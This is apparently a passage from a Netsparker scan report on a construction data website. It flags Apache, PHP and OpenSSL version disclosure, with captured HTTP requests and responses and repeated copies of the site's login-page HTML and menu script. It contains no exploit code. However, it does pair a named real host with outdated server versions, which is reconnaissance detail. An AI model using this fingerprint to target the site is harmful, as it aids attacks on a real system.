url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
Apache/2.2.4 (Ubuntu)
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
PHP/5.2.3
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </T..
OpenSSL Version Disclosure
OpenSSL Version Disclosure
Netsparker identified that the target web server is disclosing OpenSSL version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks.
Impact
An attacker can look for specific security vulnerabilities for the identified version. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
OpenSSL/0.9.8e
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Accept-Encoding: gzip, deflate,gzip, deflate
Host: www.questcdn.com
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:52 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/752384704271622620; Expires=Thu, 03-Mar-2011 23:35:52 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
